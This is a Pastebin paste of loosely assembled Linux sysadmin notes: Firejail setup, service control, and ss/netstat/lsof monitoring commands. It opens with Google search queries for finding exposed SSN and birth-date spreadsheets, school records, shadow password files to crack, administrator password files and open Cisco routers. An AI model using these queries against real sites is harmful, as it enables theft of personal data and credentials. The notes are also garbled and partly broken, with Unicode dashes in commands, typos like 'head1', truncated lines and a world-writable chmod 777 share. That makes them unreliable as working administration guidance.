xe1phix

Xe1phix-Linux-SysAdmin-[Notes]-[.v22.8.58.]-{(01-10-24)}.sh

Mar 9th, 2024
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 273.77 KB | Cybersecurity | 0 0
  1. http://www.searchengineshowdown.com/features/
  2. http://www.netcraft.com/
  3. http://searchdns.netcraft.com/
  4.  
  5. http://www.stachliu.com/resources/tools/google-hacking-diggity-project/
  6. http://www.stachliu.com/resources/tools/google-hacking-diggity-project/
  7.  
  8. ##   [+]
  9. filetype:xls SSN DOB johnson OR williams OR brown OR davis OR miller
  10. filetype:xls SSN DOB wilson OR moore OR taylor OR anderson OR thomas
  11. filetype:xls SSN DOB jackson OR white OR harris OR martin OR thompson
  12. filetype:xls SSN DOB garcia OR martinez OR robinson OR clark OR
  13. ##   [+] Lists of files from the My Documents folder, including Excel spreadsheets:
  14. intitle:"index of" intitle:"My Documents" xls budget
  15. intitle:"index of" intitle:"My Documents" xls business
  16. intitle:"index of" intitle:"My Documents" xls tax
  17. ## The same sort of thing, except let's limit our search to the .us top-level domain and look for files
  18. ## or folders named "grades" or "attendance" or "behavior" to try to find sensitive information in school records:
  19. intitle:"index of" intitle:"My Documents" site:us grades OR attendance OR behavior
  20. ##   [+] School spreadsheets:
  21. intitle:"index of" intitle:"My Documents" site:us xls
  22. ## UNIX systems foolishly serving out their /etc directory, some with the file shadow world-
  23. ## readable. Pull out the entry for root out of shadow and use Crack to reverse-engineer their
  24. ##   [+] administrative password.
  25. intitle:"index of" intitle:etc shadow passwd nsswitch -man5
  26. ##   [+] Database administrator's passwords!
  27. intitle:"Index of" administrators.pwd
  28. ##   [+] Filemaker Pro database servers that are way too friendly:
  29. "Select a database to view" intitle:"filemaker pro"
  30. ##   [+] Sensitive US military and government documents tend to include "DISTRIBUTION
  31. ## RESTRICTION: Distribution is authorized to ... only", so let's look for that:
  32. filetype:pdf "DISTRIBUTION RESTRICTION: Distribution is authorized to" site:.mil
  33. filetype:pdf OR filetype:doc OR filetype:ppt OR filetype:xls
  34. "DISTRIBUTION RESTRICTION:" site:.mil -"approved for public release"
  35.  
  36. ##   [+] Find configurations via Google
  37. ext:txf | ext:cfg | ext:bpf netsniff
  38.  
  39. site:rapid7.com "set TARGET" Sendmail
  40. site:rapid7.com "use auxiliary" MSSQL
  41.  
  42. inurl:"smb.conf" intext:"workgroup" filetype:conf
  43. ext:(doc | pdf | xls | txt | ps | rtf | odt | sxw | psw | ppt | pps | xml) (intext:confidential salary | intext:"budget approved") inurl:confidential
  44.  
  45.  
  46. site:s3.amazonaws.com filetype:pdf
  47.  
  48. intitle:"AXIS 240 Camera Server"
  49. intext:"server push" -help
  50.  
  51.  
  52.  
  53. intitle:"netbotz appliance" "OK" -filetype:pdf
  54.  
  55. intitle:"SpeedStream Router Management Interface"
  56.  
  57.  
  58.  
  59. inurl:"level/15/exec/~/show"                ## Finding  Web  Accessible,  Open  Cisco  Routers
  60.  
  61.  
  62. ## Exposed Frontpage Credentials
  63. ## Using Google to Find Exposed Frontpage Credentials
  64. "# -FrontPage-"filetype:pwd inurl:(service | authors | administrators | users)
  65.  
  66.  
  67.  
  68.  
  69.  
  70. related:
  71. inurl:/wp/ site:
  72.  
  73. filetype:doc inurl:gov intext:"default password"
  74.  
  75.  
  76.  
  77.  * [CIA Vault7 Development Tradecraft DOs and DONTs](https://wikileaks.org/ciav7p1/cms/page_14587109.html)
  78. - [DarkNet Stats](https://dnstats.net/) - Monitors DarkNet Forums & Markets.
  79.  
  80. - [cuckoo](https://github.com/cuckoosandbox/cuckoo
  81.  
  82.  
  83.  
  84.  
  85.  
  86. ## ================================================================================== ##
  87. echo "Cloning The Firejail Github Repo..."
  88. ## ================================================================================== ##
  89. git clone https://github.com/netblue30/firejail.git
  90. git clone  https://github.com/netblue30/firetools
  91.  
  92. ## ================================================================================== ##
  93. echo "Moving To That Directory..."
  94. ## ================================================================================== ##
  95. cd firejail
  96.  
  97.  
  98. ## ================================================================================== ##
  99. echo "Initiate Firejail Setup Using The Make Compiler..."
  100. ## ================================================================================== ##
  101. ./configure --enable-apparmor && make && sudo make install-strip
  102.  
  103.  
  104. ## ================================================================================== ##
  105. echo "Load The Apparmor Kernel Module, Then Compile Into Firejail Source..."
  106. ## ================================================================================== ##
  107. ./configure --prefix=/usr --enable-apparmor
  108.  
  109.  
  110. ## ================================================================================== ##
  111. echo "The Apparmor Profile Needs To Be Loaded Into The Kernel..."
  112. ## ================================================================================== ##
  113. aa-enforce firejail-default
  114.  
  115.  
  116.  
  117.  
  118.  
  119. connecting multiple Firejail
  120.    sandboxes on a virtualized Ethernet network. Applications  include  virtual
  121.    private networks (VPN), overlay networks, peer-to-peer applications.
  122.  
  123. The tunnel encapsulates Ethernet frames in UDP packets. Each packet is authenticated
  124. independently with BLAKE2 cryptographic hash function (https://blake2.net/).
  125. The keys are derived from a common secret file installed on both client and server.
  126.  
  127. Compile and install:
  128.  
  129. git clone https://github.com/netblue30/firetunnel.git
  130. cd firetunnel
  131. ./configure && make && sudo make install-strip
  132.  
  133.  
  134.  
  135.  
  136.  
  137.  
  138.  
  139.  
  140.  
  141.  
  142. firejail --icmptrace
  143.  
  144. firejail --net.print=
  145. --profile.print=
  146. firejail --protocol=unix,inet
  147. --protocol.print=
  148.  
  149. firejail --netstats
  150. firejail --nettrace
  151.  
  152. Monitor  Server  Name  Indication (TLS/SNI)
  153. firejail --snitrace
  154.  
  155. firejail --trace wget -q www.debian.org
  156. firejail --net=none vlc
  157. --noprinters
  158. --private-cache
  159. --private-tmp
  160.  
  161. firejail --restrict-namespaces
  162. firejail --restrict-namespaces=user,net
  163. --restrict-namespaces=cgroup,ipc,net,mnt,pid,time,user,uts
  164.  
  165.  
  166.  
  167. firejail --net=eth0 --netlock \
  168.               --private=~/tor-browser_en-US ./start-tor-browser.desktop
  169.  
  170.  
  171.  
  172. firejail --ids-init
  173. firejail --ids-check
  174. /etc/firejail/ids.config
  175.  
  176.  
  177. apparmor_parser -r /etc/apparmor.d/firejail-default
  178.  
  179.  
  180.  
  181.  
  182. cat /etc/xdg/menus/applications.menu
  183.  
  184.  
  185.  
  186.  
  187.  
  188.  
  189. stat --format=%a:%A:%u:%U:%g:%G:%n:%s:%F:%i
  190.  
  191.  
  192.  
  193.  
  194.  
  195. There are 14 files in this directory
  196.  
  197. echo "There are $(ls | wc -w) files in this directory."
  198.  
  199.  
  200.  
  201.  
  202.  
  203.  
  204.  
  205.  
  206.  
  207.  
  208. ##-=================================================================-##
  209. ##  [+] Create a directory for the shared or exported filesystem:
  210. ##-=================================================================-##
  211.  
  212. mkdir /var/myshare
  213.  
  214. ##-===============================================================-##
  215. ##   [+] Change the permissions to be sure everyone has access:
  216. ##-===============================================================-##
  217. chmod -R 777 /var/myshare
  218.  
  219.  
  220. ##-===================================================-##
  221. ##   [+] Enable and start the appropriate services:
  222. ##-===================================================-##
  223. rpcbind
  224. nfs-server
  225. nfs-lock
  226. nfs-idmap
  227.  
  228.  
  229.  
  230.  
  231.  
  232.  
  233.  
  234.  
  235.  
  236. apt-cache show bind9 | grep -i status
  237. ## Status: install ok installed
  238.  
  239. systemctl status named | grep -i active
  240. Active: active (running) since Thu 2016–03–17 11:23:48 EDT; 1min
  241. 20s ago
  242.  
  243.  
  244.  
  245.  
  246.  
  247. ##-==============================================-##
  248. ##  [+] Use kill to reload configuration files
  249. ##-==============================================-##
  250. kill -s SIGHUP $(cat /run/named/named.pid)
  251.  
  252.  
  253. ps -ef | grep ^named
  254. ps -ef | grep ^bind
  255. service bind9 status
  256.  
  257. systemctl enable named
  258. systemctl start named
  259. service bind9 start
  260.  
  261.  
  262. named-checkconf /etc/named.conf
  263.  
  264.  
  265.  
  266. service apparmor restart
  267.  
  268. systemctl enable $Service
  269. systemctl start $Service
  270.  
  271.  
  272. ##-==============================================-##
  273. ##     [+]  List of Active, loaded, and Running Services:
  274. ##-==============================================-##
  275. systemctl -a | grep -E '.*\.service.*loaded.*active.*running' | grep -v '@' | awk '{print $1}'
  276.  
  277.  
  278.  
  279.  
  280. service $Service
  281. service $Service start
  282. service $Service restart
  283. service $Service status
  284. service $Service stop
  285.  
  286. service  --status-all
  287.  
  288. service  --status-all | grep -v not running
  289. service  --status-all | grep -v running
  290.  
  291.  
  292.  
  293. service  --status-all
  294.  
  295.  
  296.  
  297.  
  298.  
  299. ls /etc/rc.d/rc?.d/$Service
  300. ls /etc/init.d/$Service
  301.  
  302. chkconfig --level 5 $Service off
  303.  
  304.  
  305. chkconfig --level 3 $Service on
  306. chkconfig --level 2345 $Service on          ## make a service persistent on more than one runlevel
  307.  
  308. chkconfig --list $Service
  309.  
  310.  
  311. systemctl disable $Service
  312.  
  313. systemctl disable cups.service
  314. rm '/etc/systemd/system/printer.target.wants/cups.service'
  315. rm '/etc/systemd/system/sockets.target.wants/cups.socket'
  316. rm '/etc/systemd/system/multi-user.target.wants/cups.path'
  317.  
  318.  
  319. systemctl status $Service
  320. systemctl list-units --type=service
  321.  
  322.  
  323.  
  324.  
  325.  
  326. service network status
  327. systemctl status networking.service -l
  328. networkctl status
  329.  
  330. journalctl -u systemd-networkd --no-pager | tail -20
  331.  
  332.  
  333. *
  334. service
  335.  
  336.  
  337.  
  338.  
  339.  
  340.  
  341. ##-================================================-##
  342. ##     [+] NULLify NetworkManager Via Null Symlink:
  343. ##-================================================-##
  344. systemctl mask NetworkManager.service
  345. ln -s '/dev/null' '/etc/systemd/system/NetworkManager.service'
  346.  
  347.  
  348. systemctl unmask NetworkManager.service
  349.  
  350.  
  351.  
  352. ##-=================================================-##
  353. ##     [+] Hide nm-applet when NetworkManager is disabled
  354. ##-=================================================-##
  355. gsettings set org.gnome.nm-applet show-applet false
  356.  
  357.  
  358. ##-=======================================================-##
  359. ##     [+] Show nm-applet when you want to start NetworkManager:
  360. ##-=======================================================-##
  361. gsettings set org.gnome.nm-applet show-applet true
  362.  
  363.  
  364.  
  365.  
  366.  
  367.  
  368.  
  369.  
  370. /proc/net/ip_conntrack
  371.  
  372.  
  373. determines what column to sort by. Options:
  374. --sort
  375.  
  376. S Source Port
  377.                    d Destination IP (or Name)
  378.                    D Destination Port
  379.                    p Protocol
  380.                    s State
  381.                    t TTL
  382.                    b Bytes
  383.                    P Packets
  384.  
  385.  
  386. --no-dns                    ##  Skip outgoing DNS lookup states
  387.  
  388.  
  389.  
  390.  
  391.  
  392.  
  393.  
  394. xtables-monitor --trace         ##  obtain monitoring trace events
  395.  
  396.  
  397. -j  TRACE                       ##  debug packet traversal to the ruleset
  398.  
  399.  
  400. iptables-nft -L
  401.  
  402. ip6tables-nft -L
  403.  
  404. arptables-nft -L
  405.  
  406. ebtables-nft -L
  407.  
  408. nft list ruleset
  409.  
  410.  
  411. iptables-legacy-save > myruleset        # reads from x_tables
  412. iptables-nft-restore myruleset              # writes to nf_tables
  413.  
  414. iptables-legacy-save | iptables-translate-restore | less
  415.  
  416.  
  417. xtables-monitor --event             ##  Watch for updates to the rule set.
  418.  
  419. xtables-monitor --trace             ##  Watch for trace events generated by packets
  420.  
  421. xtables-monitor -4              ##  Restrict output to IPv4
  422.  
  423. xtables-monitor -6              ##  Restrict output to IPv6
  424.  
  425. iptables -t raw -A PREROUTING -p tcp --dport 80 --syn -m limit --limit 1/s -j TRACE
  426.  
  427.  
  428.  
  429. ( $Syntax )& pid=$!; sleep n; kill -9 $pid      ## Run a command and kill it after n seconds
  430.  
  431.  
  432.  
  433.  
  434.  
  435. ##-===================================================-##
  436. ##  [+] Metasploit - gather dns records information
  437. ##-===================================================-##
  438. (A, AAAA, CNAME, ZoneTransfer, SRV, TLD, RVL)
  439.  
  440. msf > use auxiliary/gather/enum_dns
  441.  
  442.  
  443.  
  444. ##-===========================================-##
  445. ##  [+] Metasploit - Reverse DNS (PTR) Scan
  446. ##-===========================================-##
  447.  
  448. msfconsole
  449. > use auxiliary/gather/dns_reverse_lookup
  450. > set RANGE 192.168.1.0/24
  451. > run
  452.  
  453.  
  454.  
  455. iptables ‐A INPUT ‐p tcp ‐‐dport ident ‐j DROP
  456.  
  457.  
  458.  
  459. network.http.sendRefererHeader to the value 0.
  460. http://moensted.dk/spam/drbcheck.txt
  461. ## the best way to determine if a plugin/media type is obeying your proxy settings
  462. ## is to use Wireshark to watch network traffic.
  463. ## The display filter 'tcp.port== 80 or tcp.port == 443'
  464.  
  465. http://la-samhna.de/library/rootkits/detect.html
  466.  
  467.  
  468.  
  469. http://brianhill.dyndns.org/site/modules.php?op=modload&name=News&file=article&sid=5&mode=thread&order=0&thold=0
  470. http://packetstorm.security-guide.de/filedesc/wX.tar.html
  471.  
  472.  
  473. http://wiki.xensource.com/xenwiki/COWHowTo
  474.  
  475.  
  476. --default-new-key-algo
  477.  
  478.  
  479. # Encrypt a zipped directory using ssl
  480. tar -zcf - $DIRECTORYIN | openssl aes-256-cbc -salt -out $FILEOUT
  481.  
  482. # Decrypt a zipped directory using ssl
  483. openssl aes-256-cbc -d -salt -in $FILEIN | tar -xz -f -
  484.  
  485. # Generate password
  486. gpg --gen-random 2 16 | base64
  487.  
  488.  
  489.  
  490. ##-=================================================================-##
  491. ##  [+] Quickly Encrypt a file with gnupg and email it with mailx
  492. ##-=================================================================-##
  493. cat private-file | gpg2 --encrypt --armor --recipient "Disposable Key" | mailx -s "Email Subject" user@email.com
  494.  
  495.  
  496. ##-===============================================================-##
  497. ##  [+] Send a signed and encrypted email from the command line
  498. ##-===============================================================-##
  499. echo "SECRET MESSAGE" | gpg -e --armor -s | sendmail USER@DOMAIN.COM
  500.  
  501.  
  502. ##-===================================================-##
  503. ##  [+] Create passwords and store safely with gpg
  504. ##-===================================================-##
  505. tr -dc "a-zA-Z0-9-_\$\?" < /dev/urandom | head -c 10 | gpg -e -r medha@nerdish.de > password.gpg
  506.  
  507. |gpg -e -r <gpg key id>
  508.  
  509.  
  510.  
  511.  
  512. ##-===================================================-##
  513. ##   [+] Generate SHA1 hash for each file in a list
  514. ##-===================================================-##
  515. ls $File | xargs openssl sha1
  516.  
  517.  
  518. ##-===================================================-##
  519. ##   [+] Generate SHA1 hash for each file in a list
  520. ##-===================================================-##
  521. find . -type f -exec sha1sum {} >> SHA1SUMS \;
  522.  
  523.  
  524.  
  525. ##-========================================-##
  526. ##   [+] Creating a Certificate Request
  527. ##-========================================-##
  528. openssl req -config /etc/mail/certs/mailCA/openssl.cnf -new -nodes -days 1095 -keyout puppy.yourdomaim.com.key.pem -out puppy.yourdomaim.com.csr.pem
  529.  
  530.  
  531. ##-=============================================-##
  532. ##   [+] Generating a 1024 bit RSA private k
  533. ##-=============================================-##
  534.  
  535.  
  536. ##-=========================================-##
  537. ##   [+] Signing Your Certificate Request
  538. ##-=========================================-##
  539. openssl ca -config /etc/mail/certs/mailCA/openssl.cnf -policy policy_anything -out puppy.yourdomain.com.cert.pem -infiles puppy.yourdomain.com.csr.pem
  540.  
  541.  
  542.  
  543.  
  544.  
  545. smtp_tls_cert_file = /path/to/certs/cert.pem
  546. smtp_tls_key_file = /path/to/certs/key.pem
  547. smtp_tls_CAfile = /path/to/certs/CAcert.pem
  548. ## You can also add some other options that are useful.
  549. ## The first is logging.
  550. ## Add the following line to main.cf to enable logging for Postfix as a TSL server:
  551. smtpd_tls_loglevel = 1
  552. ## You can also add the following for Postfix TLS client logging:
  553. smtp_tls_loglevel = 1
  554.  
  555.  
  556. smtpd_tls_auth_only = yes
  557. Finally, you need to add a line explicitly
  558. ##   [+] starting TLS to your main.cf file. For a Postfix
  559. acting as a TLS server, add the following:
  560. smtpd_use_tls = yes
  561. ##   [+] For Postfix acting as a TLS client, add the following:
  562. smtp_use_tls = yes
  563.  
  564.  
  565.  
  566. ifconfig -a | grep -E '(^eth|RX.*dropped)'
  567. ethtool -S eth0
  568. ip link show dev eth0
  569.  
  570. ethtool --show-features eth0
  571. ip address show
  572. ip route show
  573. route −n
  574. ip neigh show
  575.  
  576. nmcli device status
  577. nmcli dev show
  578.  
  579.  
  580. iwconfig eth0 txpower 25
  581. iwlist wlan0 scan
  582. iw dev wlan0 station dump
  583. iwconfig eth0 nwid off
  584. ip link set dev wlan0 address 00:30:65:39:2e:77
  585. ifconfig wlan0 hw ether 00:30:65:39:2e:77
  586.  
  587.  
  588. systemctl list-unit-files --type  -services/target
  589.  
  590.  
  591.  
  592. ##-============================-##
  593. ##   [+] Socket connections
  594. ##-============================-##
  595.  
  596. ##-============================-##
  597. ##   [+] socket statistics
  598. ##-============================-##
  599.  
  600.  
  601.  
  602. ##-=============================================-##
  603. ##   [+] Show all TCP ports open on a server:
  604. ##-=============================================-##
  605. ss -t -a
  606.  
  607. ##-========================================================-##
  608. ##   [+] Show established connections with their timers:
  609. ##-========================================================-##
  610. ss -t -o
  611.  
  612.  
  613.  
  614. ss -l               ## All open ports
  615. ss -x -a            ## Unix sockets
  616.  
  617. ##-==========================-##
  618. ##  [+] Filter by socket:
  619. ##-==========================-##
  620. ss -tn sport = :22
  621.  
  622.  
  623. Display all established ssh connections.
  624.  
  625. ss -o state established '( dport = :ssh or sport = :ssh )'
  626.  
  627.  
  628.  
  629. ss --summary            ## Print summary statistics
  630. ss --listening          ## Display only listening sockets
  631. ss --extended           ## Show detailed socket information
  632. ss --processes          ## Show process using socket
  633. ss --info               ## Show internal TCP information
  634. ss --kill               ## Attempts to forcibly close sockets
  635. ss --ipv4
  636. ss --ipv6
  637.  
  638. ss --tcp
  639. ss --udp
  640.  
  641.  
  642. List sockets in all states from all socket tables but TCP.
  643. ss -a -A 'all,!tcp'
  644.  
  645.  
  646.  
  647. ##-==================================-##
  648. ##   [+] Display HTTP connections:
  649. ##-==================================-##
  650. ss -o state established '( dport = :http or sport = :http )'
  651.  
  652.  
  653.  
  654. ss -lup | grep domain
  655.  
  656.  
  657.  
  658. ss -tpan 'sport b::b:2'
  659. ss -tup                                     ## List active connections to/from system
  660.  
  661. ss -tupl                                    ## List internet services on a system
  662.  
  663.  
  664. ss -p | cut -f2 -sd\"                       ## just process names:
  665. ss -p | grep STA                            ## established sockets only
  666.  
  667. watch ss -tp                                ## Network connections
  668.  
  669.  
  670.  
  671. ##-=================================================================-##
  672. ##   [+] Lookup autonomous systems of all outgoing http/s traffic
  673. ##-=================================================================-##
  674. ss -t -o state established '( dport = :443 || dport = :80 )' | grep -Po '([0-9a-z:.]*)(?=:http[s])' | sort -u|netcat whois.cymru.com 43|grep -v "AS Name"|sort -t'|' -k3
  675.  
  676.  
  677. ##-================================================================-##
  678. ##   [+] Lookup autonomous systems of outgoing TCP https traffic
  679. ##-================================================================-##
  680. ss -t -o state established '( dport = :443 || dport = :80 )'|grep tcp|awk '{ print $5 }'|sed s/:http[s]*//g|sort -u|netcat whois.cymru.com 43|grep -v "AS Name"|sort -t'|' -k3
  681.  
  682.  
  683.  
  684. netstat -ant
  685. netstat -tulpn
  686. netstat -na | find /i "Listening"
  687. netstat -na | find /c "ESTABLISHED"
  688. netstat -na | find /c "SYN_RECEIVED"
  689. netstat -na 1 | find ":47145" | find /i "Established"
  690. netstat -nao 1 | find "[DestIPaddr]"
  691.  
  692.  
  693. netstat -anp --tcp -4 | grep :22
  694. netstat -nao | find ":[port]"
  695. netstat -nao | find ":[port]" | find "[ClientIPaddr]"
  696. netstat -s | awk '/:/ { p = $1 }; (p ~ /^tcp/) { print }'
  697. netstat -s | awk '/:/ { p = $1 }; (p ~ /^Tcp/) { print }'
  698. netstat -anp --tcp -4 | awk '/:22/ && /LISTEN/ { print $7 }' | cut -f1 -d/
  699. netstat -s | awk '/:/ { p = $1 }; (p ~ /^Tcp/) { print }'
  700.  
  701.  
  702. netstat -an --inet | grep LISTEN | grep -v 127.0.0.1
  703.  
  704.  
  705. dump just the TCP or just the UDP statistics
  706.  
  707. netstat -s | awk '/:/ { p = $1 }; (p ~ /^Tcp/) { print }'
  708.  
  709.  
  710. pull out just the PID of the master SSH daemon:
  711.  
  712. netstat -anp --tcp -4 | awk '/:22/ && /LISTEN/ { print $7 }' | cut -f1 -d/
  713.  
  714.  
  715. Killing that process just requires appropriate use of backticks:
  716. kill `netstat -anp --tcp -4 | awk '/:22/ && /LISTEN/ { print $7 }' | cut -f1 -d/`
  717.  
  718.  
  719. We could also use cut to pull out the second field,
  720. if we wanted to shut down the process using its init script:
  721.  
  722. /etc/init.d/`netstat -anp --tcp -4 | awk '/:22/ && /LISTEN/ { print $7 }' | cut -f2
  723. -d/` stop
  724. bash: /etc/
  725.  
  726.  
  727.  
  728. netstat -­‐antp | grep apache
  729.  
  730.  
  731.  
  732.  
  733.  
  734.  
  735.  
  736. ## ------------------------------------------------------------------------------------------------- ##
  737.     fuser -k /mnt/data          ## Kill any processes accessing the file or mount
  738. ## ------------------------------------------------------------------------------------------------- ##
  739.  
  740. ## ------------------------------------------------------------------------------------------------- ##
  741.     kill `lsof -t /home`        ## Kill all processes that have files open under /home.
  742. ## ------------------------------------------------------------------------------------------------- ##
  743.     kill %1                     ## kill the previous command that was put In the background
  744. ## ------------------------------------------------------------------------------------------------- ##
  745.  
  746. ## ------------------------------------------------------------------------------------------------------------------- ##
  747.     pkill -P 1 sshd     # kills only the master sshd process leaving all of the users on the system still logged in.
  748. ## ------------------------------------------------------------------------------------------------------------------- ##
  749.  
  750.  
  751.  
  752.  
  753. Unix server processes almost always end in "d" (think sshd, httpd, ftpd, and so on)
  754.  
  755. kill `lsof -t -a -i :22 -c /d$/`
  756.  
  757.  
  758.  
  759.  
  760.  
  761. continuous mode:
  762.  
  763. netstat -nac | grep <Mike's IP addr>
  764.  
  765. The interval for "-c" is interval
  766.  
  767. while :; do netstat -na | grep <Mike's IP addr>; sleep 5; done
  768.  
  769.  
  770. loop option:
  771. watch -n 1 'netstat -na | grep @IPAddr'
  772.  
  773.  
  774.  
  775. watch -n 1 lsof -nPi @IPAddr
  776.  
  777.  
  778.  
  779.  
  780. lsof -i @
  781.  
  782. show you all connections related to the specified IP address
  783. port monitoring examples:
  784.  
  785. watch -n 1 lsof -nPi :47145
  786.  
  787.  
  788. SSH connections:
  789. watch -n 1 lsof -nPi tcp@<ipaddr>:22
  790.  
  791.  
  792. SSH connections to all IP addresses:
  793. watch -n 1 lsof -nPi tcp:22
  794.  
  795.  
  796. "process whack-a-mole" dead easy:
  797.  
  798. while :; do kill -9 `lsof -t -i :47145`; done
  799.  
  800.  
  801.  
  802. PIDs of the matching processes
  803. kill those processes
  804.  
  805. while :; do
  806.     pid=`lsof -ti :47145`
  807.     [[ "X$pid" == "X" || "X$pid" == "X$lastpid" ]] && continue
  808.     lastpid=$pid
  809.     echo -n '*** '
  810.     date
  811.     ps e --cols 1600 -fl -p $pid
  812.     lsof -p $pid
  813. done
  814.  
  815.  
  816. alias lsof="lsof -FpcfDi\n" >> "$File"
  817.  
  818.  
  819.  
  820. lsof -i -P -n | grep LISTEN && netstat -tulpn | grep LISTEN
  821.  
  822. ifconfig -a && ip link show && nmcli device status && route -n
  823.  
  824.  
  825.  
  826.  
  827.  
  828.  
  829. ##-================================================================-##
  830. ##   [+] List the number and type of active network connections
  831. ##-================================================================-##
  832. netstat -ant | awk '{print $NF}' | grep -v '[a-z]' | sort | uniq -c
  833.  
  834.  
  835.  
  836. ##-=====================================================-##
  837. ##   [+] Monitor open connections for httpd
  838. ##   [+] including listen, count and sort it per IP
  839. ##-=====================================================-##
  840. watch "netstat -plan|grep :80|awk {'print \$5'} | cut -d: -f 1 | sort | uniq -c | sort -nk 1"
  841.  
  842.  
  843.  
  844. ##-=========================================-##
  845. ##   [+] Kill processes of specific user
  846. ##-=========================================-##
  847. kill -9 `lsof -t -u $User`
  848.  
  849.  
  850. ##-=====================================================-##
  851. ##   [+] Kill A Pross Running on Port 8080
  852. ##-=====================================================-##
  853. lsof -i :8080 | awk '{I=$2} END {print I}' | xargs kill
  854.  
  855.  
  856.  
  857. ##-==================================-##
  858. ##  [+] Show 10 Largest Open Files
  859. ##-==================================-##
  860. lsof / | awk '{ if($7 > 1048576) print $7/1048576 "MB" " " $9 " " $1 }' | sort -n -u | tail
  861.  
  862.  
  863.  
  864.  
  865. lsof -p $( pgrep sshd )
  866. lsof -p $( pgrep NetworkManager )
  867. lsof -p $( pgrep firefox )
  868. lsof -p $( pgrep lsof -p $( grep sshd ) )
  869.  
  870.  
  871.  
  872.  
  873.  
  874.  
  875.  
  876. watch -n 1 lsof -nPi :47145
  877. watch -n 1 lsof -nPi tcp:22
  878. watch --color -n 1 lsof -nPi tcp:443
  879. watch --color -n 1 lsof -nPi tcp:80
  880. watch --color -n 1 lsof -i udp:5353 -t
  881. watch --color -n 1 lsof -iTCP -sTCP:LISTEN
  882. watch --color -n 1 lsof -t -c sshd
  883. watch --color -n 1 lsof -i tcp:ssh
  884. watch --color -n 1 lsof -i tcp:22
  885. watch --color -n 1 lsof -u syslog
  886. watch --color -n 1 lsof +d /var/log
  887. watch --color -n 1 lsof -i udp -u root
  888.  
  889.  
  890. grep -i segfault /var/log/*                         ##  check for buffer overflows in logs
  891. grep -i auth /var/log/* |grep -i failed             ##  check authentication failed tries
  892.  
  893.  
  894.  
  895.  
  896. lsof | grep -e "[[:digit:]]\+w"
  897.  
  898.  
  899.  
  900.  
  901. ##-==========================-##
  902. ##   [+] List By Protocol:
  903. ##-==========================-##
  904. lsof -i TCP
  905. lsof -i UDP
  906. lsof -i TCP:https
  907.  
  908.  
  909. ##-==========================-##
  910. ##   [+] List By Port Num:
  911. ##-==========================-##
  912. lsof -i TCP:$Port
  913. lsof -i TCP:$Port-$Port
  914.  
  915.  
  916.  
  917.  
  918. for pid in $(lsof ‐i ‐t); do
  919.     lsof ‐a ‐p $pid ‐d txt | awk '/txt/ {print $9}' | head1;
  920. done
  921.  
  922.  
  923.  
  924. for pid in $(lsof ‐i ‐t); do
  925.     lsof ‐a ‐p $pid ‐d txt | awk '/txt/ {print $9}' | head1;
  926. done | sort ‐u | xargs ls ‐l
  927.  
  928.  
  929.  
  930.  
  931. for pid in $(lsof ‐i ‐t); do
  932.     lsof ‐a ‐p $pid ‐d txt | awk '/txt/ {print $9}' | head1;
  933. done | sort ‐u |
  934. while read exe; do
  935.     echo ===========;
  936.     ls ‐l $exe;
  937.     lsof ‐an ‐i ‐c $(basename $exe);
  938. done
  939.  
  940.  
  941.  
  942. lsof ‐i ‐nlP | awk '{print $1, $8, $9}' | sort ‐u
  943.  
  944.  
  945.  
  946.  
  947.  
  948. lsof ‐i ‐nlP | awk '{print $9, $8, $1}' | sed 's/.*://' | sort ‐u
  949.  
  950.  
  951.  
  952.  
  953.  
  954. lsof ‐i ‐nlP | tail ‐n +2 | awk '{print $9, $8}' |
  955. sed 's/.*://' | sort ‐u | tr A‐Z a‐z |
  956. while read port proto; do ufw allow $port/$proto; done
  957.  
  958.  
  959.  
  960.  
  961.  
  962.  
  963.  
  964.  
  965.  
  966. ##-==============================================================-##
  967. ##   [+] Show apps that use internet connection at the moment
  968. ##-==============================================================-##
  969. lsof -P -i -n | cut -f 1 -d " "| uniq | tail -n +2
  970.  
  971.  
  972.  
  973. ##-=====================================================================-##
  974. ##   [+] View network activity of any application or user in realtime
  975. ##-=====================================================================-##
  976. lsof -r 2 -p $PID -i -a
  977.  
  978.  
  979. ##-=====================================================================-##
  980.  
  981. ##-=====================================================================-##
  982. lsof -a -p $PID -d txt | awk '/txt/ {print $9}' | head -1;
  983.  
  984.  
  985. ##-=============================================-##
  986. ##   [+] # Show current listening connections:
  987. ##-=============================================-##
  988. lsof -Pni4 | grep LISTEN
  989. lsof -nP -i TCP -s TCP:LISTEN
  990. lsof -nP -i | awk '/LISTEN/ {print $2 " " $7 " " $8}'
  991.  
  992.  
  993. ##-===========================-##
  994. ##   [+] Check Connections
  995. ##-===========================-##
  996. lsof -i | awk '{print $8}' | sort | uniq -c | grep 'TCP\|UDP'
  997.  
  998.  
  999. ##-===========================-##
  1000. ##   [+] Check Established
  1001. ##-===========================-##
  1002. lsof -i | grep ESTABLISHED
  1003. lsof -i -nP | grep ESTABLISHED | awk '{print $1, $9}' | sort -u
  1004.  
  1005.  
  1006. ##-=======================-##
  1007. ##   [+] Check Active
  1008. ##-=======================-##
  1009. lsof -nP -iTCP -sTCP:ESTABLISHED | grep HTTPS
  1010.  
  1011.  
  1012. ##-=======================-##
  1013. ##   [+] Check LISTEN
  1014. ##-=======================-##
  1015. lsof -i | grep LISTEN
  1016.  
  1017.  
  1018.  
  1019. ##-======================================-##
  1020. ##   [+] List all files opened by DHCP
  1021. ##-======================================-##
  1022. lsof -c dhcpd
  1023.  
  1024.  
  1025. ##-============================================-##
  1026. ##   [+] List the files any process is using
  1027. ##-============================================-##
  1028. lsof +p xxxx
  1029.  
  1030.  
  1031. ##-============================================-##
  1032. ##   [+] List paths that process id has open
  1033. ##-============================================-##
  1034. lsof -p $$
  1035.  
  1036.  
  1037.  
  1038. lsof -i
  1039.  
  1040.  
  1041.  
  1042. ##-========================================-##
  1043. ##   [+] listening tcp sockets
  1044. ##-========================================-##
  1045. lsof -iTCP -sTCP:LISTEN
  1046.  
  1047.  
  1048. lsof -nPi | awk '/LISTEN/'
  1049.  
  1050.  
  1051.  
  1052. lsof +M -iTCP:814 -iUDP:811
  1053.  
  1054.  
  1055. ##-================================================-##
  1056. ##   [+] use awk to parse the output of:
  1057. ##       > Process name, PID, and process owner
  1058. ##-================================================-##
  1059. lsof -nPi | awk '/LISTEN/ {print $1, $2, $3, $8, $9}'
  1060.  
  1061. lsof -i -nlP | awk '{print $1, $8, $9}' | sort -u
  1062. lsof -i -nlP | awk '{print $9, $8, $1}' | sed 's/.*://' | sort -u
  1063.  
  1064.  
  1065. ##-====================================================-##
  1066. ##   [+] list network connections for all processes:
  1067. ##-====================================================-##
